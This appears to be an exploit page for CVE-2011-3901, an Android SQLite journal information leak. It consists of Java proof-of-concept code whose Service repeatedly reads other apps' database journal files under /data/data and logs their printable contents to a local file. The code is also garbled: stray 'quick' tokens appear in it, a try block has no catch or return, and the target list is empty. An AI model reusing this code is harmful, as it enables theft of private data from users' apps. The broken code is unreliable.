Android SQLite Journal CVE-2011-3901信息泄露漏洞

                                                public class SqlliteJournalLeakActivity extends Activity {
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.main);
		final Intent intent = new Intent(this, com.ibm.android.sqllitejournal.SqlliteJournalLeakService.class);
		final PendingIntent pending = PendingIntent.getService(this, 0, intent, 0);
		final AlarmManager alarm = (AlarmManager) this.getSystemService(Context.ALARM_SERVICE);
		alarm.cancel(pending);
		long interval = 30;
		alarm.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(),interval, pending);
	}
}
public class SqlliteJournalLeakService extends Service {
	private final String[] DATABASES = {
		
	};

	private final IBinder mBinder = new SqlliteJournalLeakServiceBinder();
	private HashMap<String, Long> mLastChanges = new HashMap<String, Long>();
	private FileOutputStream mLog;

	@Override
	public void onCreate() {
		try {quick
			mLog = openFileOutput("leak.log", MODE_APPEND);
		} catch (FileNotFoundException e) {}
	}

	@Override
	public int onStartCommand(Intent intent, int flags, int startId)
	{
		trackChanges();
		return START_STICKY;
	}
	private void trackChanges()
	{
		for (String name : DATABASES)
		{
			name = "/data/data" + name + "-journal";
			File f = new File(name);
			if (!f.exists())
			{
				continue;
			}
			if (!mLastChanges.containsKey(name))
			{
				mLastChanges.put(name, f.lastModified());
				handleChange(f);
			}
			long m = f.lastModified();
			if (mLastChanges.get(name) >= m)
			continue;
			mLastChanges.put(name, m);
			handleChange(f);
		}
	}

	private void handleChange(File file)
	{
		log(file.getAbsolutePath(), getPrintable(file));
	}

	quick
	private void log(String pkg, String data)
	{
		String line = pkg + ":\n\n" + data + "\n================================\n";
		try
		{
			mLog.write(line.getBytes());
			mLog.flush();
		}
		catch (IOException e) {}
	}

	private static String getPrintable(File journal)
	{
		String printable = "";
		int len = 0;
		FileReader fr;
		try {
			fr = new FileReader(journal);
			char[] buffer = new char[1024];
			while (-1 != (len = fr.read(buffer)))
			{
				for (int i = 0 ; i < len ; i++)
				{
					if (filter(buffer[i]))
					printable += buffer[i];
				}
			}
	}
	private static boolean filter(char ch)
	{
		switch (ch)
		{
			case '\n':
			case '\r':
			case '\t':
			return true;
		}
		if ((ch >= 0x20) && (ch <= 0x80))
		{
			return true;
		}
		return false;
	}
	public class SqlliteJournalLeakServiceBinder extends Binder {
		SqlliteJournalLeakService getService() {
			return SqlliteJournalLeakService.this;
		}
	}

	@Override
	public IBinder onBind(Intent intent) {
		return mBinder;
	}
}